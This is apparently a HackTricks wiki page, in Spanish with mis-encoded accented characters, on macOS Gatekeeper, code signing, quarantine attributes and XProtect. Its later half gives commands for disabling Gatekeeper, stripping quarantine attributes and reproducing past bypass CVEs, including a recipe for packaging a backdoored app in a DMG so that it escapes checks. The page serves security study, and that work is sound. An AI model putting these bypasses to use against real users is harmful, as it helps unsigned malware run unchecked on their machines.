macOS Gatekeeper / Quarantine / XProtect
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Gatekeeper
Gatekeeper es una funci贸n de seguridad desarrollada para sistemas operativos Mac, dise帽ada para garantizar que los usuarios ejecuten solo software de confianza en sus sistemas. Funciona validando el software que un usuario descarga e intenta abrir desde fuentes fuera de la App Store, como una aplicaci贸n, un complemento o un paquete de instalaci贸n.
El mecanismo clave de Gatekeeper radica en su proceso de verificaci贸n. Verifica si el software descargado est谩 firmado por un desarrollador reconocido, asegurando la autenticidad del software. Adem谩s, determina si el software est谩 notarizado por Apple, confirmando que est谩 libre de contenido malicioso conocido y que no ha sido alterado despu茅s de la notarizaci贸n.
Adem谩s, Gatekeeper refuerza el control y la seguridad del usuario al solicitar a los usuarios que aprueben la apertura del software descargado por primera vez. Esta salvaguarda ayuda a prevenir que los usuarios ejecuten inadvertidamente c贸digo ejecutable potencialmente da帽ino que pueden haber confundido con un archivo de datos inofensivo.
Application Signatures
Las firmas de aplicaciones, tambi茅n conocidas como firmas de c贸digo, son un componente cr铆tico de la infraestructura de seguridad de Apple. Se utilizan para verificar la identidad del autor del software (el desarrollador) y para asegurar que el c贸digo no ha sido alterado desde que fue firmado por 煤ltima vez.
As铆 es como funciona:
- Firmar la Aplicaci贸n: Cuando un desarrollador est谩 listo para distribuir su aplicaci贸n, firma la aplicaci贸n utilizando una clave privada. Esta clave privada est谩 asociada con un certificado que Apple emite al desarrollador cuando se inscribe en el Programa de Desarrolladores de Apple. El proceso de firma implica crear un hash criptogr谩fico de todas las partes de la aplicaci贸n y cifrar este hash con la clave privada del desarrollador.
- Distribuir la Aplicaci贸n: La aplicaci贸n firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave p煤blica correspondiente.
- Verificar la Aplicaci贸n: Cuando un usuario descarga e intenta ejecutar la aplicaci贸n, su sistema operativo Mac utiliza la clave p煤blica del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicaci贸n y lo compara con el hash descifrado. Si coinciden, significa que la aplicaci贸n no ha sido modificada desde que el desarrollador la firm贸, y el sistema permite que la aplicaci贸n se ejecute.
Las firmas de aplicaciones son una parte esencial de la tecnolog铆a Gatekeeper de Apple. Cuando un usuario intenta abrir una aplicaci贸n descargada de internet, Gatekeeper verifica la firma de la aplicaci贸n. Si est谩 firmada con un certificado emitido por Apple a un desarrollador conocido y el c贸digo no ha sido alterado, Gatekeeper permite que la aplicaci贸n se ejecute. De lo contrario, bloquea la aplicaci贸n y alerta al usuario.
A partir de macOS Catalina, Gatekeeper tambi茅n verifica si la aplicaci贸n ha sido notarizada por Apple, a帽adiendo una capa adicional de seguridad. El proceso de notarizaci贸n verifica la aplicaci贸n en busca de problemas de seguridad conocidos y c贸digo malicioso, y si estas verificaciones son aprobadas, Apple a帽ade un ticket a la aplicaci贸n que Gatekeeper puede verificar.
Check Signatures
Al verificar alguna muestra de malware, siempre debes verificar la firma del binario, ya que el desarrollador que lo firm贸 puede estar ya relacionado con malware.
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
# Check if the app鈥檚 contents have been modified
codesign --verify --verbose /Applications/Safari.app
# Get entitlements from the binary
codesign -d --entitlements :- /System/Applications/Automator.app # Check the TCC perms
# Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
# Sign a binary
codesign -s <cert-name-keychain> toolsdemo
Notarizaci贸n
El proceso de notarizaci贸n de Apple sirve como una salvaguarda adicional para proteger a los usuarios de software potencialmente da帽ino. Implica que el desarrollador env铆e su aplicaci贸n para examen por parte del Servicio de Notar铆a de Apple, que no debe confundirse con la Revisi贸n de Aplicaciones. Este servicio es un sistema automatizado que examina el software enviado en busca de contenido malicioso y cualquier problema potencial con la firma de c贸digo.
Si el software aprueba esta inspecci贸n sin generar preocupaciones, el Servicio de Notar铆a genera un ticket de notarizaci贸n. El desarrollador debe adjuntar este ticket a su software, un proceso conocido como 'stapling'. Adem谩s, el ticket de notarizaci贸n tambi茅n se publica en l铆nea donde Gatekeeper, la tecnolog铆a de seguridad de Apple, puede acceder a 茅l.
Al momento de la primera instalaci贸n o ejecuci贸n del software por parte del usuario, la existencia del ticket de notarizaci贸n - ya sea adjunto al ejecutable o encontrado en l铆nea - informa a Gatekeeper que el software ha sido notariado por Apple. Como resultado, Gatekeeper muestra un mensaje descriptivo en el di谩logo de lanzamiento inicial, indicando que el software ha sido sometido a verificaciones de contenido malicioso por parte de Apple. Este proceso, por lo tanto, aumenta la confianza del usuario en la seguridad del software que instala o ejecuta en sus sistemas.
spctl & syspolicyd
caution
Tenga en cuenta que a partir de la versi贸n Sequoia, spctl
ya no permite modificar la configuraci贸n de Gatekeeper.
spctl
es la herramienta CLI para enumerar e interactuar con Gatekeeper (con el demonio syspolicyd
a trav茅s de mensajes XPC). Por ejemplo, es posible ver el estado de GateKeeper con:
# Check the status
spctl --status
caution
Tenga en cuenta que las verificaciones de firma de GateKeeper se realizan solo en archivos con el atributo de Cuarentena, no en todos los archivos.
GateKeeper verificar谩 si, de acuerdo con las preferencias y la firma, un binario puede ser ejecutado:
syspolicyd
es el principal daemon responsable de hacer cumplir Gatekeeper. Mantiene una base de datos ubicada en /var/db/SystemPolicy
y es posible encontrar el c贸digo para soportar la base de datos aqu铆 y la plantilla SQL aqu铆. Tenga en cuenta que la base de datos no est谩 restringida por SIP y es escribible por root, y la base de datos /var/db/.SystemPolicy-default
se utiliza como una copia de seguridad original en caso de que la otra se corrompa.
Adem谩s, los paquetes /var/db/gke.bundle
y /var/db/gkopaque.bundle
contienen archivos con reglas que se insertan en la base de datos. Puede verificar esta base de datos como root con:
# Open database
sqlite3 /var/db/SystemPolicy
# Get allowed rules
SELECT requirement,allow,disabled,label from authority where label != 'GKE' and disabled=0;
requirement|allow|disabled|label
anchor apple generic and certificate 1[subject.CN] = "Apple Software Update Certification Authority"|1|0|Apple Installer
anchor apple|1|0|Apple System
anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists|1|0|Mac App Store
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
syspolicyd
tambi茅n expone un servidor XPC con diferentes operaciones como assess
, update
, record
y cancel
, que tambi茅n son accesibles utilizando las APIs SecAssessment*
de Security.framework
y xpctl
en realidad se comunica con syspolicyd
a trav茅s de XPC.
Nota c贸mo la primera regla termin贸 en "App Store" y la segunda en "Developer ID" y que en la imagen anterior estaba habilitado para ejecutar aplicaciones de la App Store y desarrolladores identificados.
Si modificas esa configuraci贸n a App Store, las "reglas de Developer ID Notarizado" desaparecer谩n.
Tambi茅n hay miles de reglas de tipo GKE :
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
cdhash H"5fd63f5342ac0c7c0774ebcbecaf8787367c480f"|1|0|GKE
cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
Estos son hashes que provienen de:
/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth
/var/db/gke.bundle/Contents/Resources/gk.db
/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db
O podr铆as listar la informaci贸n anterior con:
sudo spctl --list
Las opciones --master-disable
y --global-disable
de spctl
desactivar谩n completamente estas verificaciones de firma:
# Disable GateKeeper
spctl --global-disable
spctl --master-disable
# Enable it
spctl --global-enable
spctl --master-enable
Cuando est谩 completamente habilitado, aparecer谩 una nueva opci贸n:
Es posible verificar si una aplicaci贸n ser谩 permitida por GateKeeper con:
spctl --assess -v /Applications/App.app
Es posible agregar nuevas reglas en GateKeeper para permitir la ejecuci贸n de ciertas aplicaciones con:
# Check if allowed - nop
spctl --assess -v /Applications/App.app
/Applications/App.app: rejected
source=no usable signature
# Add a label and allow this label in GateKeeper
sudo spctl --add --label "whitelist" /Applications/App.app
sudo spctl --enable --label "whitelist"
# Check again - yep
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
Respecto a las extensiones del kernel, la carpeta /var/db/SystemPolicyConfiguration
contiene archivos con listas de kexts permitidos para ser cargados. Adem谩s, spctl
tiene el derecho com.apple.private.iokit.nvram-csr
porque es capaz de agregar nuevas extensiones del kernel preaprobadas que tambi茅n deben guardarse en NVRAM en una clave kext-allowed-teams
.
Archivos de Cuarentena
Al descargar una aplicaci贸n o archivo, aplicaciones espec铆ficas de macOS como navegadores web o clientes de correo electr贸nico adjuntan un atributo de archivo extendido, com煤nmente conocido como el "flag de cuarentena," al archivo descargado. Este atributo act煤a como una medida de seguridad para marcar el archivo como proveniente de una fuente no confiable (internet), y potencialmente portadora de riesgos. Sin embargo, no todas las aplicaciones adjuntan este atributo; por ejemplo, el software com煤n de clientes de BitTorrent generalmente omite este proceso.
La presencia de un flag de cuarentena se帽ala la caracter铆stica de seguridad Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo.
En el caso en que el flag de cuarentena no est茅 presente (como con archivos descargados a trav茅s de algunos clientes de BitTorrent), las verificaciones de Gatekeeper pueden no realizarse. Por lo tanto, los usuarios deben tener precauci贸n al abrir archivos descargados de fuentes menos seguras o desconocidas.
[!NOTE] > Verificar la validez de las firmas de c贸digo es un proceso intensivo en recursos que incluye generar hashes criptogr谩ficos del c贸digo y todos sus recursos empaquetados. Adem谩s, verificar la validez del certificado implica hacer una verificaci贸n en l铆nea a los servidores de Apple para ver si ha sido revocado despu茅s de haber sido emitido. Por estas razones, una verificaci贸n completa de la firma de c贸digo y la notarizaci贸n es impr谩ctica de ejecutar cada vez que se lanza una aplicaci贸n.
Por lo tanto, estas verificaciones se realizan solo al ejecutar aplicaciones con el atributo de cuarentena.
warning
Este atributo debe ser establecido por la aplicaci贸n que crea/descarga el archivo.
Sin embargo, los archivos que est谩n en sandbox tendr谩n este atributo establecido en cada archivo que creen. Y las aplicaciones no sandbox pueden establecerlo ellas mismas, o especificar la clave LSFileQuarantineEnabled en el Info.plist, lo que har谩 que el sistema establezca el atributo extendido com.apple.quarantine
en los archivos creados.
Adem谩s, todos los archivos creados por un proceso que llama a qtn_proc_apply_to_self
est谩n en cuarentena. O la API qtn_file_apply_to_path
agrega el atributo de cuarentena a una ruta de archivo especificada.
Es posible verificar su estado y habilitar/deshabilitar (se requiere root) con:
spctl --status
assessments enabled
spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
Tambi茅n puedes verificar si un archivo tiene el atributo extendido de cuarentena con:
xattr file.png
com.apple.macl
com.apple.quarantine
Verifica el valor de los atributos extendidos y encuentra la aplicaci贸n que escribi贸 el atributo de cuarentena con:
xattr -l portada.png
com.apple.macl:
00000000 03 00 53 DA 55 1B AE 4C 4E 88 9D CA B7 5C 50 F3 |..S.U..LN.....P.|
00000010 16 94 03 00 27 63 64 97 98 FB 4F 02 84 F3 D0 DB |....'cd...O.....|
00000020 89 53 C3 FC 03 00 27 63 64 97 98 FB 4F 02 84 F3 |.S....'cd...O...|
00000030 D0 DB 89 53 C3 FC 00 00 00 00 00 00 00 00 00 00 |...S............|
00000040 00 00 00 00 00 00 00 00 |........|
00000048
com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# 00c1 -- It has been allowed to eexcute this file (QTN_FLAG_USER_APPROVED = 0x0040)
# 607842eb -- Timestamp
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
En realidad, un proceso "podr铆a establecer banderas de cuarentena en los archivos que crea" (ya intent茅 aplicar la bandera USER_APPROVED en un archivo creado, pero no se aplica):
C贸digo fuente para aplicar banderas de cuarentena
#include <stdio.h>
#include <stdlib.h>
enum qtn_flags {
QTN_FLAG_DOWNLOAD = 0x0001,
QTN_FLAG_SANDBOX = 0x0002,
QTN_FLAG_HARD = 0x0004,
QTN_FLAG_USER_APPROVED = 0x0040,
};
#define qtn_proc_alloc _qtn_proc_alloc
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
#define qtn_proc_free _qtn_proc_free
#define qtn_proc_init _qtn_proc_init
#define qtn_proc_init_with_self _qtn_proc_init_with_self
#define qtn_proc_set_flags _qtn_proc_set_flags
#define qtn_file_alloc _qtn_file_alloc
#define qtn_file_init_with_path _qtn_file_init_with_path
#define qtn_file_free _qtn_file_free
#define qtn_file_apply_to_path _qtn_file_apply_to_path
#define qtn_file_set_flags _qtn_file_set_flags
#define qtn_file_get_flags _qtn_file_get_flags
#define qtn_proc_set_identifier _qtn_proc_set_identifier
typedef struct _qtn_proc *qtn_proc_t;
typedef struct _qtn_file *qtn_file_t;
int qtn_proc_apply_to_self(qtn_proc_t);
void qtn_proc_init(qtn_proc_t);
int qtn_proc_init_with_self(qtn_proc_t);
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
qtn_proc_t qtn_proc_alloc();
void qtn_proc_free(qtn_proc_t);
qtn_file_t qtn_file_alloc(void);
void qtn_file_free(qtn_file_t qf);
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
uint32_t qtn_file_get_flags(qtn_file_t qf);
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
int main() {
qtn_proc_t qp = qtn_proc_alloc();
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
qtn_proc_apply_to_self(qp);
qtn_proc_free(qp);
FILE *fp;
fp = fopen("thisisquarantined.txt", "w+");
fprintf(fp, "Hello Quarantine\n");
fclose(fp);
return 0;
}
Y elimina ese atributo con:
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
Y encuentra todos los archivos en cuarentena con:
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
La informaci贸n de cuarentena tambi茅n se almacena en una base de datos central gestionada por LaunchServices en ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
, lo que permite a la GUI obtener datos sobre los or铆genes de los archivos. Adem谩s, esto puede ser sobrescrito por aplicaciones que podr铆an estar interesadas en ocultar sus or铆genes. Adem谩s, esto se puede hacer desde las API de LaunchServices.
libquarantine.dylb
Esta biblioteca exporta varias funciones que permiten manipular los campos de atributos extendidos.
Las API qtn_file_*
se ocupan de las pol铆ticas de cuarentena de archivos, las API qtn_proc_*
se aplican a procesos (archivos creados por el proceso). Las funciones no exportadas __qtn_syscall_quarantine*
son las que aplican las pol铆ticas que llaman a mac_syscall
con "Quarantine" como primer argumento, lo que env铆a las solicitudes a Quarantine.kext
.
Quarantine.kext
La extensi贸n del kernel solo est谩 disponible a trav茅s de la cach茅 del kernel en el sistema; sin embargo, puedes descargar el Kernel Debug Kit de https://developer.apple.com/, que contendr谩 una versi贸n simbolizada de la extensi贸n.
Este Kext enganchar谩 a trav茅s de MACF varias llamadas para atrapar todos los eventos del ciclo de vida del archivo: Creaci贸n, apertura, renombrado, enlace duro... incluso setxattr
para evitar que se establezca el atributo extendido com.apple.quarantine
.
Tambi茅n utiliza un par de MIBs:
security.mac.qtn.sandbox_enforce
: Hacer cumplir la cuarentena junto con Sandboxsecurity.mac.qtn.user_approved_exec
: Los procesos en cuarentena solo pueden ejecutar archivos aprobados
XProtect
XProtect es una funci贸n de anti-malware integrada en macOS. XProtect verifica cualquier aplicaci贸n cuando se lanza o modifica por primera vez contra su base de datos de malware conocido y tipos de archivos inseguros. Cuando descargas un archivo a trav茅s de ciertas aplicaciones, como Safari, Mail o Messages, XProtect escanea autom谩ticamente el archivo. Si coincide con alg煤n malware conocido en su base de datos, XProtect impedir谩 que el archivo se ejecute y te alertar谩 sobre la amenaza.
La base de datos de XProtect se actualiza regularmente por Apple con nuevas definiciones de malware, y estas actualizaciones se descargan e instalan autom谩ticamente en tu Mac. Esto asegura que XProtect est茅 siempre actualizado con las 煤ltimas amenazas conocidas.
Sin embargo, vale la pena se帽alar que XProtect no es una soluci贸n antivirus completa. Solo verifica una lista espec铆fica de amenazas conocidas y no realiza escaneos en acceso como la mayor铆a del software antivirus.
Puedes obtener informaci贸n sobre la 煤ltima actualizaci贸n de XProtect ejecutando:
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
XProtect se encuentra en una ubicaci贸n protegida por SIP en /Library/Apple/System/Library/CoreServices/XProtect.bundle y dentro del paquete puedes encontrar informaci贸n que XProtect utiliza:
XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist
: Permite que el c贸digo con esos cdhashes use derechos heredados.XProtect.bundle/Contents/Resources/XProtect.meta.plist
: Lista de plugins y extensiones que no est谩n permitidos cargar a trav茅s de BundleID y TeamID o que indican una versi贸n m铆nima.XProtect.bundle/Contents/Resources/XProtect.yara
: Reglas de Yara para detectar malware.XProtect.bundle/Contents/Resources/gk.db
: Base de datos SQLite3 con hashes de aplicaciones bloqueadas y TeamIDs.
Ten en cuenta que hay otra aplicaci贸n en /Library/Apple/System/Library/CoreServices/XProtect.app
relacionada con XProtect que no est谩 involucrada en el proceso de Gatekeeper.
No Gatekeeper
caution
Ten en cuenta que Gatekeeper no se ejecuta cada vez que ejecutas una aplicaci贸n, solo AppleMobileFileIntegrity (AMFI) verificar谩 las firmas de c贸digo ejecutable cuando ejecutes una aplicaci贸n que ya ha sido ejecutada y verificada por Gatekeeper.
Por lo tanto, anteriormente era posible ejecutar una aplicaci贸n para almacenarla en cach茅 con Gatekeeper, luego modificar archivos no ejecutables de la aplicaci贸n (como archivos asar de Electron o NIB) y si no hab铆a otras protecciones en su lugar, la aplicaci贸n se ejecutaba con las adiciones maliciosas.
Sin embargo, ahora esto no es posible porque macOS previene la modificaci贸n de archivos dentro de los paquetes de aplicaciones. As铆 que, si intentas el ataque Dirty NIB, descubrir谩s que ya no es posible abusar de 茅l porque despu茅s de ejecutar la aplicaci贸n para almacenarla en cach茅 con Gatekeeper, no podr谩s modificar el paquete. Y si cambias, por ejemplo, el nombre del directorio Contents a NotCon (como se indica en el exploit), y luego ejecutas el binario principal de la aplicaci贸n para almacenarla en cach茅 con Gatekeeper, se generar谩 un error y no se ejecutar谩.
Bypasses de Gatekeeper
Cualquier forma de eludir Gatekeeper (lograr que el usuario descargue algo y lo ejecute cuando Gatekeeper deber铆a prohibirlo) se considera una vulnerabilidad en macOS. Estos son algunos CVEs asignados a t茅cnicas que permitieron eludir Gatekeeper en el pasado:
CVE-2021-1810
Se observ贸 que si se utiliza la Utilidad de Archivos para la extracci贸n, los archivos con rutas que superan los 886 caracteres no reciben el atributo extendido com.apple.quarantine. Esta situaci贸n permite inadvertidamente que esos archivos eludan las verificaciones de seguridad de Gatekeeper.
Consulta el informe original para m谩s informaci贸n.
CVE-2021-30990
Cuando se crea una aplicaci贸n con Automator, la informaci贸n sobre lo que necesita para ejecutarse est谩 dentro de application.app/Contents/document.wflow
y no en el ejecutable. El ejecutable es solo un binario gen茅rico de Automator llamado Automator Application Stub.
Por lo tanto, podr铆as hacer que application.app/Contents/MacOS/Automator\ Application\ Stub
apunte con un enlace simb贸lico a otro Automator Application Stub dentro del sistema y ejecutar谩 lo que hay dentro de document.wflow
(tu script) sin activar Gatekeeper porque el ejecutable real no tiene el xattr de cuarentena.
Ejemplo de ubicaci贸n esperada: /System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub
Consulta el informe original para m谩s informaci贸n.
CVE-2022-22616
En este bypass se cre贸 un archivo zip con una aplicaci贸n comenzando a comprimir desde application.app/Contents
en lugar de application.app
. Por lo tanto, el atributo de cuarentena se aplic贸 a todos los archivos de application.app/Contents
pero no a application.app
, que era lo que Gatekeeper estaba verificando, por lo que Gatekeeper fue eludido porque cuando se activ贸 application.app
no ten铆a el atributo de cuarentena.
zip -r test.app/Contents test.zip
Consulta el informe original para m谩s informaci贸n.
CVE-2022-32910
Incluso si los componentes son diferentes, la explotaci贸n de esta vulnerabilidad es muy similar a la anterior. En este caso, generaremos un Apple Archive desde application.app/Contents
para que application.app
no obtenga el atributo de cuarentena cuando sea descomprimido por Archive Utility.
aa archive -d test.app/Contents -o test.app.aar
Consulta el informe original para m谩s informaci贸n.
CVE-2022-42821
El ACL writeextattr
se puede utilizar para evitar que alguien escriba un atributo en un archivo:
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
Adem谩s, el formato de archivo AppleDouble copia un archivo incluyendo sus ACEs.
En el c贸digo fuente es posible ver que la representaci贸n de texto de la ACL almacenada dentro del xattr llamado com.apple.acl.text
se establecer谩 como ACL en el archivo descomprimido. As铆 que, si comprimiste una aplicaci贸n en un archivo zip con el formato de archivo AppleDouble con una ACL que impide que otros xattrs sean escritos en 茅l... el xattr de cuarentena no se estableci贸 en la aplicaci贸n:
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
Consulta el informe original para m谩s informaci贸n.
Ten en cuenta que esto tambi茅n podr铆a ser explotado con AppleArchives:
mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar
CVE-2023-27943
Se descubri贸 que Google Chrome no estaba configurando el atributo de cuarentena para los archivos descargados debido a algunos problemas internos de macOS.
CVE-2023-27951
Los formatos de archivo AppleDouble almacenan los atributos de un archivo en un archivo separado que comienza con ._
, esto ayuda a copiar los atributos de los archivos entre m谩quinas macOS. Sin embargo, se not贸 que despu茅s de descomprimir un archivo AppleDouble, el archivo que comenzaba con ._
no recibi贸 el atributo de cuarentena.
mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
Al poder crear un archivo que no tendr谩 el atributo de cuarentena, fue posible eludir Gatekeeper. El truco era crear una aplicaci贸n de archivo DMG utilizando la convenci贸n de nombres AppleDouble (comenzar con ._
) y crear un archivo visible como un enlace simb贸lico a este archivo oculto sin el atributo de cuarentena.
Cuando se ejecuta el archivo dmg, como no tiene un atributo de cuarentena, eludir谩 Gatekeeper.
# Create an app bundle with the backdoor an call it app.app
echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg
echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg
echo "[+] compressing files"
aa archive -d s/ -o app.aar
uchg (de esta charla)
- Crea un directorio que contenga una aplicaci贸n.
- Agrega uchg a la aplicaci贸n.
- Comprime la aplicaci贸n en un archivo tar.gz.
- Env铆a el archivo tar.gz a una v铆ctima.
- La v铆ctima abre el archivo tar.gz y ejecuta la aplicaci贸n.
- Gatekeeper no verifica la aplicaci贸n.
Prevenir Quarantine xattr
En un paquete ".app" si el xattr de cuarentena no se agrega, al ejecutarlo Gatekeeper no se activar谩.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.